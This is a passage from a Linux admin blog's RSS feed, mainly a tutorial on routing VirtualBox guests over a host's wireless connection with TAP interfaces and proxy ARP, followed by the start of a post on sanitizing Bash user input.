	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;title=Word%20War%20Vi%20in%20Ubuntu&amp;notes=As%20described%20by%20the%20author%2C%20Word%20War%20Vi%20is%20%22a%20retro%20styled%20side%20scrolling%20shoot%27em%20up%20arcade%20game%20for%20linux%22.%20%20%20The%20game%20play%20is%20fast%20paced%2C%20complemented%20by%20superb%20audio%20and%20very%20addictive.%0D%0A%20%20%0D%0A%0D%0AAt%20the%20time%20of%20this%20writing%2C%20there%20was%20no%20Ubuntu%2FDebi" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;title=Word%20War%20Vi%20in%20Ubuntu&amp;bodytext=As%20described%20by%20the%20author%2C%20Word%20War%20Vi%20is%20%22a%20retro%20styled%20side%20scrolling%20shoot%27em%20up%20arcade%20game%20for%20linux%22.%20%20%20The%20game%20play%20is%20fast%20paced%2C%20complemented%20by%20superb%20audio%20and%20very%20addictive.%0D%0A%20%20%0D%0A%0D%0AAt%20the%20time%20of%20this%20writing%2C%20there%20was%20no%20Ubuntu%2FDebi" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Word%20War%20Vi%20in%20Ubuntu&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;title=Word%20War%20Vi%20in%20Ubuntu&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=As%20described%20by%20the%20author%2C%20Word%20War%20Vi%20is%20%22a%20retro%20styled%20side%20scrolling%20shoot%27em%20up%20arcade%20game%20for%20linux%22.%20%20%20The%20game%20play%20is%20fast%20paced%2C%20complemented%20by%20superb%20audio%20and%20very%20addictive.%0D%0A%20%20%0D%0A%0D%0AAt%20the%20time%20of%20this%20writing%2C%20there%20was%20no%20Ubuntu%2FDebi" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;title=Word%20War%20Vi%20in%20Ubuntu&amp;annotation=As%20described%20by%20the%20author%2C%20Word%20War%20Vi%20is%20%22a%20retro%20styled%20side%20scrolling%20shoot%27em%20up%20arcade%20game%20for%20linux%22.%20%20%20The%20game%20play%20is%20fast%20paced%2C%20complemented%20by%20superb%20audio%20and%20very%20addictive.%0D%0A%20%20%0D%0A%0D%0AAt%20the%20time%20of%20this%20writing%2C%20there%20was%20no%20Ubuntu%2FDebi" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;title=Word%20War%20Vi%20in%20Ubuntu" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/ubuntu-studio/' rel='bookmark' title='Permanent Link: Ubuntu Studio'>Ubuntu Studio</a></li>
<li><a href='http://savvyadmin.com/console-framebuffer-in-ubuntu/' rel='bookmark' title='Permanent Link: Console Framebuffer in Ubuntu'>Console Framebuffer in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/oracle-database-10g-xe-on-ubuntu/' rel='bookmark' title='Permanent Link: Oracle Database 10g XE on Ubuntu'>Oracle Database 10g XE on Ubuntu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/word-war-vi-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>VirtualBox Wireless Bridging</title>
		<link>http://savvyadmin.com/virtualbox-wireless-bridging/</link>
		<comments>http://savvyadmin.com/virtualbox-wireless-bridging/#comments</comments>
		<pubDate>Sun, 27 Jul 2008 08:12:36 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Bridging]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Proxy ARP]]></category>
		<category><![CDATA[Routing]]></category>
		<category><![CDATA[VirtualBox]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=101</guid>
		<description><![CDATA[UPDATE (12/13/2009): The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is possible to natively bridge guests over your hosts wireless connection &#8220;out of the box&#8221;, even allowing guests bridge over wireless with DHCP. The suggestions on this post still work fairly well, and will be left up [...]


Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/' rel='bookmark' title='Permanent Link: VirtualBox Host Interface Networking with NAT'>VirtualBox Host Interface Networking with NAT</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/ubuntu-dell-5700-evdo/' rel='bookmark' title='Permanent Link: Ubuntu Linux + Dell Wireless 5700 CDMA/EVDO Card'>Ubuntu Linux + Dell Wireless 5700 CDMA/EVDO Card</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE (12/13/2009):</strong> The latest versions of VirtualBox 3 have made great improvements in their guest networking options.  It is possible to natively bridge guests over your hosts wireless connection &#8220;out of the box&#8221;, even allowing guests bridge over wireless with DHCP.  The suggestions on this post still work fairly well, and will be left up as it has bits of information that is still useful in some scenarios.  Please refer to the latest VirtualBox documentation for more help.</p>
<p><strong>ORIGINAL:</strong> Here&#8217;s a straight forward explanation on how to bridge (well, technically route) your VirtualBox (VB) guest network interface through your host machines wireless network connection.  The guest machine will be configured to use a static IP address that is on the same subnet as the wireless network, and will also be able to communicate directly with any device on the network.</p>
<p>First things first, make sure you have a working VB installation and that your guest operating system is configured with a static IP address outside of your DHCP scope.  You also need to install the <em>User Mode Linux</em> utilities.  In Ubuntu/Debian, they are found in the <em>uml-utilities</em> package.</p>
<blockquote><p><code><strong>sudo apt-get install uml-utilities</strong></code></p></blockquote>
<p>You also need to ensure your <em>/dev/net/tun</em> interface has the appropriate permissions for the <em>vboxusers</em> group.  You can set the permissions manually and should modify the udev rules to have them apllied at boot up.</p>
<blockquote><p><code><strong>sudo chown root.vboxusers /dev/net/tun<br />
sudo chmod g+rw /dev/net/tun</strong></code></p></blockquote>
<p>Add the following line of code to <em>/etc/udev/rules.d/20-names.rules</em>:</p>
<blockquote><p><code>KERNEL=="tun", NAME="net/%k", GROUP="vboxusers", MODE="0660"</code></p></blockquote>
<p>Verify <em>/dev/net/tun</em> permissions:</p>
<blockquote><p><code><strong>ls -l /dev/net/tun</strong><br />
crw-rw---- 1 root vboxusers 10, 200 2008-04-24 16:34 /dev/net/tun</code></p></blockquote>
<p><strong>How does this all work?</strong><br />
The magic of this process is achieved through a technique called &#8220;Proxy ARP&#8221;.  This technique allows a router, in this case your Linux host computer, to intercept Layer-2 ARP packets, and forward them through the host computer and into adjacent networks.  Long story short, to the external network, your guest computers MAC address is masked behind the host computers MAC address.  The IP address of your guests remain unique to the network and all devices on either side of the host can communicate directly with each other.</p>
<p><strong>Network Assumptions:</strong><br />
I&#8217;m going to assume we&#8217;re using a very simple setup typical to most small networks and wireless routers.  Feel free to adjust the following values according to your own requirements.</p>
<p>Wireless Network ID: <em>192.168.1.0/24</em><br />
Wireless Network DHCP Range: <em>192.168.1.2-100</em><br />
Wireless Network Default Gateway: <em>192.168.1.1</em><br />
Host Computer Wireless Interface:  <em>wlan0</em> (change accordingly)<br />
Host Computer IP: <em>Any IP</em> (Doesn&#8217;t matter; You can use DHCP or static)<br />
Guest Computer IP: <em>192.168.1.200</em> (Static IP outside DHCP range to avoid conflicts)<br />
Guest Computer DNS: <em>Any DNS server</em><br />
Guest Default Gateway: <em>192.168.1.1</em> (Same value that other devices on the network use)</p>
<p><strong>Quick scripts for the impatient:</strong><br />
To bring up the the tap interface and apply appropriate settings.  Run them with root privileges.</p>
<blockquote><p><code><strong>sudo tunctl -u $USER<br />
sudo sysctl net.ipv4.ip_forward=1<br />
sudo sysctl net.ipv4.conf.wlan0.proxy_arp=1<br />
sudo sysctl net.ipv4.conf.tap0.proxy_arp=1<br />
sudo ip link set tap0 up<br />
sudo route add -host 192.168.1.200 dev tap0</strong></code></p></blockquote>
<p>To tear down the interface and configuration.</p>
<blockquote><p><code><strong>sudo sysctl net.ipv4.ip_forward=0<br />
sudo sysctl net.ipv4.conf.wlan0.proxy_arp=0<br />
sudo sysctl net.ipv4.conf.tap0.proxy_arp=0<br />
sudo tunctl -d tap0</strong></code></p></blockquote>
<p><strong>Explanation of steps:</strong><br />
Create TAP interface on the host computer (tap0):</p>
<blockquote><p><code><strong>sudo tunctl -u $USER</strong></code></p></blockquote>
<p>The $USER variable typically maps to your own user account.  If not, simply replace $USER with the account that will be running your guest machine; typically your own username.</p>
<p>Enable IP forwarding, which turns your host computer into a router.</p>
<blockquote><p><code><strong>sudo sysctl net.ipv4.ip_forward=1</strong></code></p></blockquote>
<p>Enable proxy ARP on both the TAP and wireless interfaces.</p>
<blockquote><p><code><strong>sudo sysctl net.ipv4.conf.wlan0.proxy_arp=1<br />
sudo sysctl net.ipv4.conf.tap0.proxy_arp=1</strong></code></p></blockquote>
<p>Enable the TAP interface.</p>
<blockquote><p><code><strong>sudo ifconfig tap0 up</strong></code></p></blockquote>
<p>Add a static host route that points to your guest computer via the tap0 interface.</p>
<blockquote><p><code><strong>sudo route add -host 192.168.1.200 dev tap0</strong></code></p></blockquote>
<p>This is required for your host computer to be able to know how to forward packets to your guest.  Ultimately, this is what allows the kernels proxy ARP feature to work.</p>
<p>Edit the VB guest network settings so that Adapter 0 is attached to the <em>Host Interface</em>, and that the Interface Name is set to <em>tap0.</em> The screenshot below is an example of such a configuration.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/07/vbox-network-settings.png"><img class="size-medium wp-image-103 aligncenter" title="vbox-network-settings" src="http://www.savvyadmin.com/wp-content/uploads/2008/07/vbox-network-settings-300x280.png" alt="" width="300" height="280" /></a></p>
<p>Finally, turn on the guest system, and if you have already configured it&#8217;s IP address, you should be able to ping it.  The guest should also be able to ping every other device on the network.  Provided you have used the correct DNS and default gateway for your network, you will also have internet access available.</p>
<p>Some community documents claim that you need to use an application called <em>parprouted</em> to accomplish this, but that is not the case.  Linux has native proxy ARP support, and as demonstrated here, using it couldn&#8217;t be easier.  <em>Parprouted</em> provides the same service, however it runs as a daemon and adds host routes for every IP involved in a proxy ARP exchange.  Depending on the network size, your routing table can become large very quickly.  In addition to your increased routing table entries, the service also sends ARP queries to refresh the addresses every 50 seconds, adding senseless clutter to your network as well.  While it&#8217;s a useful tool for certain applications, you don&#8217;t need it if you&#8217;re doing light VB bridging.</p>
<p><strong>Full Script Example:</strong> <a title="tap-setup.sh" href="http://www.savvyadmin.com/downloads/tap-setup.sh">tap-setup.sh</a><br />
Save the following script to somewhere in your path and modify the appropriate values accordingly.  You must run the script with root privileges and supply the appropriate start and stop variable to bring up and tear down the TAP interface.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># tap-setup.sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Change username accordingly</span>
<span style="color: #007800;">USER</span>=<span style="color: #ff0000;">&quot;username_here&quot;</span>
&nbsp;
tap_up<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
tunctl <span style="color: #660033;">-u</span> <span style="color: #007800;">$USER</span>
sysctl net.ipv4.ip_forward=<span style="color: #000000;">1</span>
sysctl net.ipv4.conf.wlan0.proxy_arp=<span style="color: #000000;">1</span>
sysctl net.ipv4.conf.tap0.proxy_arp=<span style="color: #000000;">1</span>
ip <span style="color: #c20cb9; font-weight: bold;">link</span> <span style="color: #000000; font-weight: bold;">set</span> tap0 up
route add <span style="color: #660033;">-host</span> 192.168.1.200 dev tap0
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
tap_down<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
sysctl net.ipv4.ip_forward=<span style="color: #000000;">0</span>
sysctl net.ipv4.conf.wlan0.proxy_arp=<span style="color: #000000;">0</span>
sysctl net.ipv4.conf.tap0.proxy_arp=<span style="color: #000000;">0</span>
tunctl <span style="color: #660033;">-d</span> tap0
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$EUID</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;This script must be run as root&quot;</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">2</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #ff0000;">&quot;$1&quot;</span> <span style="color: #000000; font-weight: bold;">in</span>
&nbsp;
start<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	tap_up
	<span style="color: #000000; font-weight: bold;">;;</span>
stop<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	tap_down
	<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: $0 {start|stop}&quot;</span>
	<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span></pre></div></div>

<p><strong>Multiple Virtual Guest Machines:</strong><br />
More than likely, you will be running more than just one virtual machine.  All that is required for this to work is to add an additional static host route for each guest IP address.  Add these manually, or simply modify the script to add them for you.  Make sure you are choosing IP addresses outside your DHCP address pool to avoid conflicts.</p>
<blockquote><p><code><strong>sudo route add -host 192.168.1.200 dev tap0<br />
sudo route add -host 192.168.1.201 dev tap0<br />
sudo route add -host 192.168.1.202 dev tap0<br />
sudo route add -host 192.168.1.203 dev tap0</strong></code></p></blockquote>
<p>You can also use a subnet instead of lots of host routes, but you need to be careful in doing so.  Adding the entire subnet of your host network (in this case a 24 bit mask) can cause unpredeictable routing behavior.  If you know your DHCP pool never extends above the first 100 addresses, you can simply choose to use a smaller subnet matching the higher IP addresses.  This way you dedicate these addresses for your guests, and avoid weird routing issues.  The following static route example will allow you to use host addresses between .129 and .254.</p>
<blockquote><p><code><strong>sudo route add -net 192.168.1.128 netmask 255.255.255.128 dev tap0</strong></code></p></blockquote>
<p>Here&#8217;s an example of the routing table.  Notice that the output is minimal and extremely clean.</p>
<blockquote><p><code><strong>route -n</strong><br />
Kernel IP routing table<br />
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface<br />
192.168.1.128   0.0.0.0         255.255.255.128 U     0      0        0 tap0<br />
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 wlan0<br />
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0</code></p></blockquote>
<p>You do NOT have to modify your guest or host subnet masks.  Leave them to their respective values.  The static route is used simply to help keep your host computer organized and routing appropriately to each side of the network.</p>
<p><strong>Additional FAQ&#8217;s:</strong><br />
<strong>Q: Does my tap0 interface require it&#8217;s own IP address?</strong><br />
A: No.  The static route to your guests as shown in the above examples use the <em>tap0</em> interface as the destination.  Packets are simply forwarded out the <em>tap0</em> interface, and layer-3 information is unaltered.</p>
<p><strong>Q: How does my host computer communicate directly with the guest machine?</strong><br />
A: If your <em>wlan0</em> interface has an IP address, your host computers routing table will take care of everything for you.  You will communicate directly with the guest using the <em>wlan0</em> IP as the source address.</p>
<p><strong>Q: Does my host computer even require an IP address?</strong><br />
A: No.  Your <em>wlan0</em> interface doesn&#8217;t need an IP address for any of this to work. Your host computer won&#8217;t be able to communicate directly with anything on the network via layer-3, but will act as a transparent bridge.  If you just want your guest on the network, remove all IP addresses and routes from your host, then simply create appropriate static routes for both sides of the host directing traffic out each interface.  Using the same strategy of splitting your network in half to avoid DHCP scope conflicts, we add two /25 bit routes, the lower half of the block out <em>wlan0</em>, and the upper half out <em>tap0</em>.  You also need a default gateway defined if your guests need internet access.</p>
<blockquote><p><code><strong>sudo route add -net 192.168.1.0 netmask 255.255.255.128 dev wlan0<br />
sudo route add -net 192.168.1.128 netmask 255.255.255.128 dev tap0<br />
sudo route add default gw 192.168.1.1</strong></code></p>
<p><code><strong>route -n</strong><br />
Kernel IP routing table<br />
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface<br />
192.168.1.0     0.0.0.0         255.255.255.128 U     0      0        0 wlan0<br />
192.168.1.128   0.0.0.0         255.255.255.128 U     0      0        0 tap0<br />
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0</code></p></blockquote>
<p>If you run tcpdump to inspect the magic taking place, you&#8217;ll notice ARP exchanges are proxied from a 0.0.0.0 address on your host computer, which is completely acceptable and works well.  However, this represents a highly irregular configuration, and if you have multiple host computers doing the same thing you will run into layer-2 issues.  Think layer-2 man in the middle attack&#8230; but on accident.  :-)  This example is simply for educational purposes.</p>
<p><strong>Q: Okay, so I know I don&#8217;t need it, but what if I <em>want</em> my tap0 interface to have an IP address?</strong><br />
A: You just want to be careful about the subnet mask you assign to the tap0 interface.  I really don&#8217;t recommend assigning the same subnet mask as your physical interface, because doing so automatically adds a second route for that subnet, and you can run into routing decision and interface selection issues.  I recommend using a 32 bit mask host address.</p>
<blockquote><p><code><strong>sudo ip addr add 192.168.1.150/32 dev tap0</strong></code></p></blockquote>
<p>This is the cleanest way, because the routing table is only adjusted for that single IP address.  Proxy ARP again will work perfectly with that address since the host computer has the route.  Also, 32 bit mask address assignments on the host will not show ip in the routing table, so don&#8217;t worry if you don&#8217;t see it with the route command.</p>
<p><strong>Q: I was messing around with the <em>tunctl</em> commands, and now VirtualBox complains and I can&#8217;t start the guest machine.</strong><br />
A: You may have created multiple TAP interfaces inadvertently.  If you run &#8220;<em>tunctl -u $USER</em>&#8221; and the output tells you that it has set a TAP interface with a higher numerical value than tap0 (e.g. tap2, tap3, etc), then you simply need to remove them all, and start over.</p>
<blockquote><p><code><strong>sudo tunctl -d tap2<br />
sudo tunctl -d tap1<br />
sudo tunctl -d tap0<br />
sudo tunctl -u $USER</strong></code></p></blockquote>
<p>If your tunctl output shows you creating tap0, then you should be good to go.</p>
<blockquote><p><em>Set &#8216;tap0&#8242; persistent and owned by uid 1000</em></p></blockquote>
<p><strong>Q: Can I use DHCP on my guest computers?</strong><br />
A:  Sure!  It is possible, and I will cover this in an upcoming article.  You simply need to use a DHCP relay utility that converts your DHCP broadcast messages into unicast messages directed to your networks DHCP server.  <em>dhcp3-relay</em> is the tool for the job.  However, using DHCP complicates things a bit because now your static route will need to be added dynamically.  Now THAT sounds like a job for <em>parprouted</em>!  Stay tuned.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;t=VirtualBox%20Wireless%20Bridging" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=VirtualBox%20Wireless%20Bridging%20-%20http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;title=VirtualBox%20Wireless%20Bridging&amp;notes=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%22out%20of%20the%20box%22%2C%20even%20allowing%20guests%20bridge%20over%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;title=VirtualBox%20Wireless%20Bridging&amp;bodytext=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%22out%20of%20the%20box%22%2C%20even%20allowing%20guests%20bridge%20over%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=VirtualBox%20Wireless%20Bridging&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;title=VirtualBox%20Wireless%20Bridging&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%22out%20of%20the%20box%22%2C%20even%20allowing%20guests%20bridge%20over%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;title=VirtualBox%20Wireless%20Bridging&amp;annotation=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%22out%20of%20the%20box%22%2C%20even%20allowing%20guests%20bridge%20over%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging%2F&amp;title=VirtualBox%20Wireless%20Bridging" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/' rel='bookmark' title='Permanent Link: VirtualBox Host Interface Networking with NAT'>VirtualBox Host Interface Networking with NAT</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/ubuntu-dell-5700-evdo/' rel='bookmark' title='Permanent Link: Ubuntu Linux + Dell Wireless 5700 CDMA/EVDO Card'>Ubuntu Linux + Dell Wireless 5700 CDMA/EVDO Card</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/virtualbox-wireless-bridging/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Bash User Input Validation</title>
		<link>http://savvyadmin.com/bash-user-input-validation/</link>
		<comments>http://savvyadmin.com/bash-user-input-validation/#comments</comments>
		<pubDate>Sun, 20 Jul 2008 23:15:51 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Input Validation]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=62</guid>
		<description><![CDATA[If you are writing your latest and greatest Bash shell script that requires careful user input, then you are probably looking for a way to validate or sanitize the input before using the data in commands or subroutines. Here&#8217;s an example shell script that reads user input into a variable, which we in turn echo [...]


Related posts:<ol><li><a href='http://savvyadmin.com/generate-text-from-templates-scripts-and-csv-data/' rel='bookmark' title='Permanent Link: Generate Text From Templates, Scripts and CSV Data'>Generate Text From Templates, Scripts and CSV Data</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you are writing your latest and greatest Bash shell script that requires careful user input, then you are probably looking for a way to validate or sanitize the input before using the data in commands or subroutines.  Here&#8217;s an example shell script that reads user input into a variable, which we in turn echo and sanitize into a new variable.  The new variable will then be used to perform whatever function is required, in this case displaying the new value.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-p</span> <span style="color: #ff0000;">&quot;Enter variable: &quot;</span> VAR_INPUT
<span style="color: #666666; font-style: italic;"># Sanitize input and assign to new variable</span>
<span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">VAR_CLEAN</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`echo &quot;${VAR_INPUT}&quot; | tr -cd '[:alnum:] [:space:]'`</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;New Variable: <span style="color: #007800;">${VAR_CLEAN}</span>&quot;</span></pre></div></div>

